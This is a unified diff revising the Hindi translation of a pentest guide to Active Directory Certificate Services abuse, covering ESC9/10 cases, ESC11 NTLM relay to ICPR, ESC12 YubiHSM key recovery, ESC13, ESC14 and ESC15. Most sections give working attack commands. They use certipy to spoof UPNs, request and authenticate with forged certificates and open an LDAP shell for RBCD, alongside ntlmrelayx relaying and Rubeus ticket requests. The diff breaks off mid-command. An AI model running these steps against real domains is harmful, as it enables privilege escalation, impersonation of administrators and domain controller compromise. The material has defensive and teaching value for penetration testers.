-`Jane` का `userPrincipalName` फिर से उसके मूल, `Jane@corp.local` पर वापस लाया जाता है। +`Jane` के `userPrincipalName` को फिर इसकी मूल, `Jane@corp.local`, पर पुनर्स्थापित कर दिया जाता है। ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -प्राप्त प्रमाणपत्र के साथ प्रमाणीकरण करने से `Administrator@corp.local` का NT हैश प्राप्त होगा, जो प्रमाणपत्र में डोमेन विवरण की अनुपस्थिति के कारण कमांड में डोमेन को निर्दिष्ट करने की आवश्यकता को दर्शाता है। +प्राप्त प्रमाणपत्र के साथ प्रमाणीकृत करने पर `Administrator@corp.local` का NT hash प्राप्त होगा; चूंकि प्रमाणपत्र में डोमेन विवरण शामिल नहीं होते, इसलिए कमांड में डोमेन निर्दिष्ट करना आवश्यक होगा। ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### दुरुपयोग केस 2 -`CertificateMappingMethods` में `UPN` बिट फ्लैग (`0x4`) होने के साथ, एक खाता A जिसके पास `GenericWrite` अनुमतियाँ हैं, किसी भी खाते B को समझौता कर सकता है जिसमें `userPrincipalName` प्रॉपर्टी नहीं है, जिसमें मशीन खाते और अंतर्निहित डोमेन प्रशासक `Administrator` शामिल हैं। +`CertificateMappingMethods` में `UPN` बिट फ्लैग (`0x4`) होने पर, `GenericWrite` permissions वाला खाता A किसी भी खाता B को compromise कर सकता है जिसके पास `userPrincipalName` property नहीं है, जिसमें मशीन खाते और built-in domain administrator `Administrator` शामिल हैं। -यहाँ, लक्ष्य `DC$@corp.local` को समझौता करना है, शुरू करते हुए `Jane` का हैश Shadow Credentials के माध्यम से प्राप्त करना, `GenericWrite` का लाभ उठाते हुए। +यहाँ लक्ष्य `DC$@corp.local` को compromise करना है, शुरुआत `GenericWrite` का उपयोग करते हुए Shadow Credentials के माध्यम से `Jane` का hash प्राप्त करने से होगी। ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` @@ -533,31 +550,31 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -एक प्रमाणपत्र क्लाइंट प्रमाणीकरण के लिए `Jane` के रूप में डिफ़ॉल्ट `User` टेम्पलेट का उपयोग करते हुए अनुरोध किया गया है। +डिफ़ॉल्ट `User` टेम्पलेट का उपयोग करके क्लाइंट प्रमाणीकरण के लिए `Jane` के रूप में एक प्रमाणपत्र अनुरोध किया गया है. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane` का `userPrincipalName` इस प्रक्रिया के बाद अपने मूल पर वापस आ जाता है। +`Jane` का `userPrincipalName` इस प्रक्रिया के बाद अपनी मूल स्थिति में लौट आता है। ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Schannel के माध्यम से प्रमाणीकरण करने के लिए, Certipy का `-ldap-shell` विकल्प उपयोग किया जाता है, जो प्रमाणीकरण की सफलता को `u:CORP\DC$` के रूप में दर्शाता है। +Schannel के माध्यम से प्रमाणीकृत करने के लिए, Certipy का `-ldap-shell` विकल्प उपयोग किया जाता है, जो प्रमाणीकरण की सफलता को `u:CORP\DC$` के रूप में दर्शाता है। ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAP शेल के माध्यम से, `set_rbcd` जैसे कमांड रिसोर्स-आधारित सीमित प्रतिनिधित्व (RBCD) हमलों को सक्षम करते हैं, जो संभावित रूप से डोमेन कंट्रोलर को खतरे में डाल सकते हैं। +LDAP shell के माध्यम से, `set_rbcd` जैसे commands Resource-Based Constrained Delegation (RBCD) attacks को सक्षम करते हैं, जो संभावित रूप से domain controller को compromise कर सकते हैं। ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -यह सुरक्षा कमी किसी भी उपयोगकर्ता खाते पर लागू होती है जिसमें `userPrincipalName` नहीं है या जहां यह `sAMAccountName` से मेल नहीं खाता, जिसमें डिफ़ॉल्ट `Administrator@corp.local` एक प्रमुख लक्ष्य है क्योंकि इसके पास उच्च LDAP विशेषाधिकार हैं और डिफ़ॉल्ट रूप से `userPrincipalName` की अनुपस्थिति है। +यह भेद्यता उन किसी भी user account तक भी फैलती है जिनमें `userPrincipalName` नहीं है या जहाँ यह `sAMAccountName` से मेल नहीं खाता, और डिफ़ॉल्ट `Administrator@corp.local` एक प्रमुख लक्ष्य होता है क्योंकि उसके पास उच्च LDAP privileges होते हैं और डिफ़ॉल्ट रूप से `userPrincipalName` का अभाव होता है। -## NTLM को ICPR में रिले करना - ESC11 +## NTLM को ICPR पर रिले करना - ESC11 ### व्याख्या -यदि CA सर्वर को `IF_ENFORCEENCRYPTICERTREQUEST` के साथ कॉन्फ़िगर नहीं किया गया है, तो यह RPC सेवा के माध्यम से साइन किए बिना NTLM रिले हमलों को सक्षम कर सकता है। [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)। +यदि CA Server `IF_ENFORCEENCRYPTICERTREQUEST` के साथ कॉन्फ़िगर नहीं है, तो यह RPC service के माध्यम से साइनिंग के बिना NTLM relay attacks की अनुमति दे सकता है। [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -आप यह देखने के लिए `certipy` का उपयोग कर सकते हैं कि क्या `Enforce Encryption for Requests` अक्षम है और certipy `ESC11` कमजोरियों को दिखाएगा। +आप `certipy` का उपयोग यह जाँचने के लिए कर सकते हैं कि `Enforce Encryption for Requests` Disabled है या नहीं, और certipy `ESC11` Vulnerabilities दिखाएगा। ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -574,9 +591,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Abuse Scenario +### दुरुपयोग परिदृश्य -एक रिले सर्वर सेटअप करना आवश्यक है: +एक relay server सेटअप करने की आवश्यकता है: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -597,27 +614,27 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) ``` नोट: डोमेन कंट्रोलर्स के लिए, हमें DomainController में `-template` निर्दिष्ट करना होगा। -या [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) का उपयोग करते हुए: +या [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) का उपयोग करें: ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` ## Shell access to ADCS CA with YubiHSM - ESC12 -### Explanation +### व्याख्या -Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2". +प्रशासक Certificate Authority को किसी बाहरी डिवाइस जैसे "Yubico YubiHSM2" पर स्टोर करने के लिए सेटअप कर सकते हैं। -यदि USB डिवाइस CA सर्वर से USB पोर्ट के माध्यम से जुड़ा है, या यदि CA सर्वर एक वर्चुअल मशीन है तो USB डिवाइस सर्वर के मामले में, Key Storage Provider के लिए YubiHSM में कुंजी उत्पन्न करने और उपयोग करने के लिए एक प्रमाणीकरण कुंजी (जिसे कभी-कभी "पासवर्ड" कहा जाता है) की आवश्यकता होती है। +यदि USB device CA सर्वर से USB पोर्ट के माध्यम से जुड़ा हो, या CA सर्वर एक virtual machine होने की स्थिति में USB device server द्वारा जुड़ा हो, तो Key Storage Provider को YubiHSM में keys generate और उपयोग करने के लिए एक authentication key (कभी-कभी इसे "password" कहा जाता है) की आवश्यकता होती है। -यह कुंजी/पासवर्ड रजिस्ट्री में `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` के तहत स्पष्ट पाठ में संग्रहीत होती है। +यह key/password रजिस्ट्री में `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` के अंतर्गत cleartext में संग्रहीत होता है। -Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +संदर्भ [यहाँ](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Abuse Scenario +### दुरुपयोग परिदृश्य -यदि CA की निजी कुंजी एक भौतिक USB डिवाइस पर संग्रहीत है जब आपको शेल एक्सेस मिला, तो कुंजी को पुनर्प्राप्त करना संभव है। +यदि CA की private key किसी physical USB device पर संग्रहीत है और आपको shell access मिल गया है, तो उस key को recover किया जा सकता है। -पहले, आपको CA प्रमाणपत्र प्राप्त करना होगा (यह सार्वजनिक है) और फिर: +सबसे पहले, आपको CA certificate प्राप्त करना होगा (यह public है) और फिर: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -625,15 +642,15 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -अंत में, certutil `-sign` कमांड का उपयोग करके CA प्रमाणपत्र और इसके निजी कुंजी का उपयोग करके एक नया मनमाना प्रमाणपत्र तैयार करें। +अंत में, CA प्रमाणपत्र और उसकी private key का उपयोग करके एक नया arbitrary certificate बनाने के लिए certutil `-sign` कमांड का उपयोग करें। -## OID समूह लिंक दुरुपयोग - ESC13 +## OID Group Link Abuse - ESC13 ### व्याख्या -`msPKI-Certificate-Policy` विशेषता प्रमाणपत्र टेम्पलेट में जारी करने की नीति को जोड़ने की अनुमति देती है। `msPKI-Enterprise-Oid` वस्तुएं जो नीतियों को जारी करने के लिए जिम्मेदार हैं, PKI OID कंटेनर के कॉन्फ़िगरेशन नाम संदर्भ (CN=OID,CN=Public Key Services,CN=Services) में खोजी जा सकती हैं। एक नीति को इस वस्तु की `msDS-OIDToGroupLink` विशेषता का उपयोग करके एक AD समूह से जोड़ा जा सकता है, जिससे एक प्रणाली को उस उपयोगकर्ता को अधिकृत करने की अनुमति मिलती है जो प्रमाणपत्र प्रस्तुत करता है जैसे कि वह समूह का सदस्य हो। [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +`msPKI-Certificate-Policy` attribute प्रमाणपत्र टेम्पलेट में issuance policy जोड़ने की अनुमति देता है। जो `msPKI-Enterprise-Oid` objects policy जारी करने के लिए जिम्मेदार हैं वे PKI OID container के Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) में खोजे जा सकते हैं। किसी policy को इस object's `msDS-OIDToGroupLink` attribute का उपयोग करके किसी AD group से जोड़ा जा सकता है, जिससे सिस्टम उस उपयोगकर्ता को authorize कर सकता है जो प्रमाणपत्र प्रस्तुत करता है मानो वह समूह का सदस्य हो। [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -दूसरे शब्दों में, जब एक उपयोगकर्ता को एक प्रमाणपत्र में नामांकित करने की अनुमति होती है और प्रमाणपत्र एक OID समूह से जुड़ा होता है, तो उपयोगकर्ता इस समूह के विशेषाधिकारों को विरासत में ले सकता है। +दूसरे शब्दों में, जब किसी उपयोगकर्ता के पास certificate enroll करने की permission होती है और certificate किसी OID group से linked होता है, तो वह उपयोगकर्ता इस group के privileges inherit कर सकता है। OIDToGroupLink खोजने के लिए [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) का उपयोग करें: ```bash @@ -657,48 +674,49 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ------------------------ ``` -### Abuse Scenario +### दुरुपयोग परिदृश्य -एक उपयोगकर्ता अनुमति खोजें जिसे `certipy find` या `Certify.exe find /showAllPermissions` का उपयोग किया जा सके। +ऐसी उपयोगकर्ता अनुमति ढूँढें जिसका उपयोग किया जा सके `certipy find` या `Certify.exe find /showAllPermissions`। -यदि `John` को `VulnerableTemplate` में नामांकित करने की अनुमति है, तो उपयोगकर्ता `VulnerableGroup` समूह के विशेषाधिकारों को विरासत में ले सकता है। +यदि `John` के पास `VulnerableTemplate` में enroll करने की अनुमति है, तो वह उपयोगकर्ता `VulnerableGroup` समूह के अधिकार विरासत में पा सकता है। -उसे केवल टेम्पलेट निर्दिष्ट करने की आवश्यकता है, उसे OIDToGroupLink अधिकारों के साथ एक प्रमाणपत्र प्राप्त होगा। +उसे बस template निर्दिष्ट करना होगा; उसे OIDToGroupLink rights के साथ एक certificate मिल जाएगा। ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Vulnerable Certificate Renewal Configuration- ESC14 +## कमजोर प्रमाणपत्र नवीनीकरण कॉन्फ़िगरेशन - ESC14 -### Explanation +### व्याख्या -The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text. +The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. नीचे मूल पाठ का उद्धरण दिया गया है। -ESC14 "कमजोर स्पष्ट प्रमाणपत्र मैपिंग" से उत्पन्न होने वाली कमजोरियों को संबोधित करता है, मुख्य रूप से Active Directory उपयोगकर्ता या कंप्यूटर खातों पर `altSecurityIdentities` विशेषता के दुरुपयोग या असुरक्षित कॉन्फ़िगरेशन के माध्यम से। यह बहु-मूल्य विशेषता प्रशासकों को प्रमाणीकरण उद्देश्यों के लिए AD खाते के साथ X.509 प्रमाणपत्रों को मैन्युअल रूप से जोड़ने की अनुमति देती है। जब भरा जाता है, तो ये स्पष्ट मैपिंग डिफ़ॉल्ट प्रमाणपत्र मैपिंग लॉजिक को ओवरराइड कर सकते हैं, जो आमतौर पर प्रमाणपत्र के SAN में UPNs या DNS नामों, या `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा विस्तार में एम्बेडेड SID पर निर्भर करता है। +ESC14 उन कमजोरियों को संबोधित करता है जो "weak explicit certificate mapping" से उत्पन्न होती हैं, मुख्यतः Active Directory उपयोगकर्ता या कंप्यूटर खातों पर `altSecurityIdentities` एट्रिब्यूट के दुरुपयोग या असुरक्षित कॉन्फ़िगरेशन के माध्यम से। यह बहु-मूल्य वाला एट्रिब्यूट व्यवस्थापकों को X.509 प्रमाणपत्रों को प्रमाणीकरण के प्रयोजनों के लिए एक AD खाते के साथ मैन्युअल रूप से जोड़ने की अनुमति देता है। जब यह भरा होता है, तो ये explicit mappings डिफ़ॉल्ट प्रमाणपत्र मैपिंग लॉजिक को ओवरराइड कर सकते हैं, जो आम तौर पर SAN में UPNs या DNS नामों पर निर्भर करता है, या `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा एक्सटेंशन में एम्बेडेड SID पर। -एक "कमजोर" मैपिंग तब होती है जब `altSecurityIdentities` विशेषता के भीतर प्रमाणपत्र की पहचान करने के लिए उपयोग किया जाने वाला स्ट्रिंग मान बहुत व्यापक, आसानी से अनुमानित, गैर-विशिष्ट प्रमाणपत्र क्षेत्रों पर निर्भर करता है, या आसानी से धोखा देने योग्य प्रमाणपत्र घटकों का उपयोग करता है। यदि एक हमलावर एक ऐसा प्रमाणपत्र प्राप्त कर सकता है या तैयार कर सकता है जिसके गुण ऐसे कमजोर परिभाषित स्पष्ट मैपिंग के लिए एक विशेषाधिकार प्राप्त खाते से मेल खाते हैं, तो वे उस प्रमाणपत्र का उपयोग उस खाते के रूप में प्रमाणीकरण करने और उसकी नकल करने के लिए कर सकते हैं। +एक "कमज़ोर" मैपिंग तब होती है जब `altSecurityIdentities` एट्रिब्यूट के भीतर उपयोग किया गया स्ट्रिंग मान किसी प्रमाणपत्र की पहचान करने के लिए बहुत व्यापक, आसानी से अनुमान लगाने योग्य, गैर-विशिष्ट प्रमाणपत्र फ़ील्ड पर निर्भर, या आसानी से स्पूफ किए जाने योग्य प्रमाणपत्र कम्पोनेंट का उपयोग करता है। यदि किसी attacker को ऐसा प्रमाणपत्र प्राप्त करने या बनवाने में सक्षम होने की स्थिति है जिसका attributes ऐसे कमज़ोर तरीके से परिभाषित explicit mapping के साथ मेल खाता है जो किसी privileged खाते के लिए सेट है, तो वे उस खाते के रूप में प्रमाणीकरण करने और उसका impersonate करने के लिए उस प्रमाणपत्र का उपयोग कर सकते हैं। -कमजोर `altSecurityIdentities` मैपिंग स्ट्रिंग के संभावित उदाहरणों में शामिल हैं: +संभावित रूप से कमजोर `altSecurityIdentities` मैपिंग स्ट्रिंग्स के उदाहरणों में शामिल हैं: -- केवल एक सामान्य विषय सामान्य नाम (CN) द्वारा मैपिंग: उदाहरण के लिए, `X509:CN=SomeUser`। एक हमलावर इस CN के साथ एक प्रमाणपत्र एक कम सुरक्षित स्रोत से प्राप्त कर सकता है। -- अत्यधिक सामान्य जारीकर्ता विशिष्ट नाम (DNs) या विषय DNs का उपयोग करना बिना किसी विशेष अनुक्रमांक या विषय कुंजी पहचानकर्ता जैसे आगे की योग्यता के: उदाहरण के लिए, `X509:CN=SomeInternalCACN=GenericUser`। -- अन्य पूर्वानुमानित पैटर्न या गैर-क्रिप्टोग्राफिक पहचानकर्ताओं का उपयोग करना जिन्हें एक हमलावर एक प्रमाणपत्र में संतुष्ट कर सकता है जिसे वे वैध रूप से प्राप्त या तैयार कर सकते हैं (यदि उन्होंने एक CA से समझौता किया है या ESC1 में एक कमजोर टेम्पलेट पाया है)। +- Mapping solely by a common Subject Common Name (CN): e.g., `X509:CN=SomeUser`. An attacker might be able to obtain a certificate with this CN from a less secure source. +- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: e.g., `X509:CN=SomeInternalCACN=GenericUser`. +- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1). -`altSecurityIdentities` विशेषता मैपिंग के लिए विभिन्न प्रारूपों का समर्थन करती है, जैसे: +`altSecurityIdentities` एट्रिब्यूट मैपिंग के लिए विभिन्न फ़ार्मैट्स का समर्थन करता है, जैसे: -- `X509:IssuerDNSubjectDN` (पूर्ण जारीकर्ता और विषय DN द्वारा मैप करता है) -- `X509:SubjectKeyIdentifier` (प्रमाणपत्र के विषय कुंजी पहचानकर्ता विस्तार मान द्वारा मैप करता है) -- `X509:SerialNumberBackedByIssuerDN` (अनुक्रमांक द्वारा मैप करता है, जो अप्रत्यक्ष रूप से जारीकर्ता DN द्वारा योग्य है) - यह एक मानक प्रारूप नहीं है, आमतौर पर यह `IssuerDNSerialNumber` होता है। -- `X509:EmailAddress` (SAN से RFC822 नाम, आमतौर पर एक ईमेल पता, द्वारा मैप करता है) -- `X509:Thumbprint-of-Raw-PublicKey` (प्रमाणपत्र की कच्ची सार्वजनिक कुंजी के SHA1 हैश द्वारा मैप करता है - सामान्यतः मजबूत) +- `X509:IssuerDNSubjectDN` (maps by full Issuer and Subject DN) +- `X509:SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value) +- `X509:SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `IssuerDNSerialNumber`. +- `X509:EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong) -इन मैपिंग की सुरक्षा चुने गए प्रमाणपत्र पहचानकर्ताओं की विशिष्टता, अद्वितीयता और क्रिप्टोग्राफिक ताकत पर बहुत अधिक निर्भर करती है। डोमेन नियंत्रकों पर मजबूत प्रमाणपत्र बाइंडिंग मोड सक्षम होने के बावजूद (जो मुख्य रूप से SAN UPNs/DNS और SID विस्तार पर आधारित अप्रत्यक्ष मैपिंग को प्रभावित करते हैं), एक खराब कॉन्फ़िगर किया गया `altSecurityIdentities` प्रविष्टि अभी भी नकल के लिए एक सीधा मार्ग प्रस्तुत कर सकता है यदि मैपिंग लॉजिक स्वयं दोषपूर्ण या बहुत उदार है। -### Abuse Scenario +इन मैपिंग्स की सुरक्षा काफी हद तक चुने गए प्रमाणपत्र पहचानकर्ताओं की विशिष्टता, अनन्यता, और क्रिप्टोग्राफिक मजबूती पर निर्भर करती है। भले ही Domain Controllers पर मजबूत certificate binding modes सक्षम हों (जो मुख्यतः SAN UPNs/DNS और SID एक्सटेंशन पर आधारित implicit mappings को प्रभावित करते हैं), एक गलत तरीके से कॉन्फ़िगर किया गया `altSecurityIdentities` एंट्री तब भी impersonation के लिए सीधे रास्ते प्रदान कर सकती है अगर मैपिंग लॉजिक ही flawed या बहुत permissive हो। -ESC14 **स्पष्ट प्रमाणपत्र मैपिंग** को Active Directory (AD) में लक्षित करता है, विशेष रूप से `altSecurityIdentities` विशेषता। यदि यह विशेषता सेट की गई है (डिज़ाइन द्वारा या गलत कॉन्फ़िगरेशन के कारण), तो हमलावर मैपिंग से मेल खाने वाले प्रमाणपत्र प्रस्तुत करके खातों की नकल कर सकते हैं। +### दुरुपयोग परिदृश्य + +ESC14 का लक्ष्य Active Directory (AD) में **explicit certificate mappings** है, विशेष रूप से `altSecurityIdentities` एट्रिब्यूट। यदि यह एट्रिब्यूट सेट किया गया है (डिज़ाइन या misconfiguration के कारण), तो attackers उन प्रमाणपत्रों को प्रस्तुत करके खातों का impersonate कर सकते हैं जो मैपिंग से मेल खाते हैं। #### Scenario A: Attacker Can Write to `altSecurityIdentities` -**Precondition**: Attacker has write permissions to the target account’s `altSecurityIdentities` attribute or the permission to grant it in the form of one of the following permissions on the target AD object: +**Precondition**: Attacker को लक्ष्य खाते के `altSecurityIdentities` एट्रिब्यूट में लिखने की अनुमति है या लक्ष्य AD ऑब्जेक्ट पर निम्नलिखित अनुमतियों में से किसी एक का अधिकार है: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -707,27 +725,31 @@ ESC14 **स्पष्ट प्रमाणपत्र मैपिंग** - `GenericWrite` - `GenericAll` - Owner*. + #### Scenario B: Target Has Weak Mapping via X509RFC822 (Email) -- **Precondition**: The target has a weak X509RFC822 mapping in altSecurityIdentities. An attacker can set the victim's mail attribute to match the target's X509RFC822 name, enroll a certificate as the victim, and use it to authenticate as the target. +- **Precondition**: Target के `altSecurityIdentities` में एक कमजोर X509RFC822 मैपिंग है। एक attacker victim का `mail` एट्रिब्यूट इस X509RFC822 नाम से मिलाने के लिए सेट कर सकता है, victim के रूप में एक प्रमाणपत्र enroll कर सकता है, और इसे target के रूप में authenticate करने के लिए उपयोग कर सकता है। + #### Scenario C: Target Has X509IssuerSubject Mapping -- **Precondition**: The target has a weak X509IssuerSubject explicit mapping in `altSecurityIdentities`.The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509IssuerSubject mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target. +- **Precondition**: Target के `altSecurityIdentities` में एक कमजोर X509IssuerSubject explicit मैपिंग है। Attacker victim principal पर `cn` या `dNSHostName` एट्रिब्यूट को target की X509IssuerSubject मैपिंग के subject से मेल करने के लिए सेट कर सकता है। फिर, attacker victim के रूप में एक प्रमाणपत्र enroll कर सकता है, और इस प्रमाणपत्र का उपयोग target के रूप में authenticate करने के लिए कर सकता है। + #### Scenario D: Target Has X509SubjectOnly Mapping -- **Precondition**: The target has a weak X509SubjectOnly explicit mapping in `altSecurityIdentities`. The attacker can set the `cn` or `dNSHostName` attribute on a victim principal to match the subject of the target’s X509SubjectOnly mapping. Then, the attacker can enroll a certificate as the victim, and use this certificate to authenticate as the target. -### concrete operations -#### Scenario A +- **Precondition**: Target के `altSecurityIdentities` में एक कमजोर X509SubjectOnly explicit मैपिंग है। Attacker victim principal पर `cn` या `dNSHostName` एट्रिब्यूट को target की X509SubjectOnly मैपिंग के subject से मेल करने के लिए सेट कर सकता है। फिर, attacker victim के रूप में एक प्रमाणपत्र enroll कर सकता है, और इस प्रमाणपत्र का उपयोग target के रूप में authenticate करने के लिए कर सकता है। -Request a certificate of the certificate template `Machine` +### ठोस संचालन +#### परिदृश्य A + +सर्टिफिकेट टेम्पलेट `Machine` का प्रमाणपत्र अनुरोध करें। ```bash .\Certify.exe request /ca: /template:Machine /machine ``` -प्रमाणपत्र को सहेजें और परिवर्तित करें +प्रमाणपत्र सहेजें और रूपांतरित करें ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -प्रमाणित करें (सर्टिफिकेट का उपयोग करके) +प्रमाणीकृत करें (सर्टिफिकेट का उपयोग करके) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` @@ -739,23 +761,23 @@ For more specific attack methods in various attack scenarios, please refer to th ## EKUwu Application Policies(CVE-2024-49019) - ESC15 -### Explanation +### स्पष्टीकरण -The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text. +https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc पर दिया गया विवरण काफी विस्तृत है। नीचे मूल पाठ का उद्धरण दिया गया है। -बिल्ट-इन डिफ़ॉल्ट संस्करण 1 सर्टिफिकेट टेम्पलेट्स का उपयोग करते हुए, एक हमलावर एक CSR तैयार कर सकता है जिसमें एप्लिकेशन नीतियाँ शामिल हैं जो टेम्पलेट में निर्दिष्ट कॉन्फ़िगर की गई विस्तारित कुंजी उपयोग विशेषताओं की तुलना में प्राथमिकता रखती हैं। एकमात्र आवश्यकता नामांकन अधिकार है, और इसका उपयोग क्लाइंट प्रमाणीकरण, सर्टिफिकेट अनुरोध एजेंट, और कोडसाइनिंग सर्टिफिकेट उत्पन्न करने के लिए किया जा सकता है **_WebServer_** टेम्पलेट का उपयोग करके। +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template -### Abuse +### दुरुपयोग -The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. +The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),विस्तृत उपयोग विधियाँ देखने के लिए क्लिक करें। -Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched. +Certipy का `find` कमांड unpatched CA की स्थिति में संभावित रूप से ESC15 के प्रति संवेदनशील V1 templates की पहचान करने में मदद कर सकता है। ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenario A: Direct Impersonation via Schannel +#### Scenario A: Schannel के माध्यम से Direct Impersonation -**Step 1: एक प्रमाणपत्र का अनुरोध करें, "Client Authentication" एप्लिकेशन नीति और लक्षित UPN को इंजेक्ट करते हुए।** हमलावर `attacker@corp.local` `administrator@corp.local` को "WebServer" V1 टेम्पलेट का उपयोग करके लक्षित करता है (जो नामांकित द्वारा प्रदान किए गए विषय की अनुमति देता है)। +**Step 1: एक सर्टिफिकेट अनुरोध करें, "Client Authentication" Application Policy और लक्षित UPN इंजेक्ट करते हुए।** अटैकर `attacker@corp.local` `administrator@corp.local` को "WebServer" V1 टेम्पलेट का उपयोग करके लक्षित करता है (जो enrollee-supplied subject की अनुमति देता है)। ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -765,16 +787,16 @@ certipy req \ -application-policies 'Client Authentication' ``` - `-template 'WebServer'`: कमजोर V1 टेम्पलेट जिसमें "Enrollee supplies subject" है। -- `-application-policies 'Client Authentication'`: CSR के Application Policies एक्सटेंशन में OID `1.3.6.1.5.5.7.3.2` को इंजेक्ट करता है। -- `-upn 'administrator@corp.local'`: अनुकरण के लिए SAN में UPN सेट करता है। +- `-application-policies 'Client Authentication'`: CSR के Application Policies एक्सटेंशन में OID `1.3.6.1.5.5.7.3.2` इंजेक्ट करता है। +- `-upn 'administrator@corp.local'`: SAN में UPN सेट करता है ताकि पहचान की नकल के लिए किया जा सके। -**Step 2: प्राप्त प्रमाणपत्र का उपयोग करके Schannel (LDAPS) के माध्यम से प्रमाणीकरण करें।** +**चरण 2: प्राप्त सर्टिफिकेट का उपयोग करके Schannel (LDAPS) के माध्यम से प्रमाणीकृत करें।** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse +#### परिदृश्य B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** यह प्रमाणपत्र हमलावर (`attacker@corp.local`) के लिए एक नामांकन एजेंट बनने के लिए है। यहाँ हमलावर की अपनी पहचान के लिए कोई UPN निर्दिष्ट नहीं किया गया है, क्योंकि लक्ष्य एजेंट क्षमता है। +**चरण 1: V1 template से एक प्रमाणपत्र का अनुरोध करें (जिसमें "Enrollee supplies subject" हो), और "Certificate Request Agent" Application Policy इंजेक्ट करें।** यह प्रमाणपत्र attacker (`attacker@corp.local`) के लिए है ताकि वह एक enrollment agent बन सके। यहाँ attacker की अपनी UPN निर्दिष्ट नहीं की गई है, क्योंकि उद्देश्य enrollment agent बनने की क्षमता प्राप्त करना है। ```bash certipy req \ -u 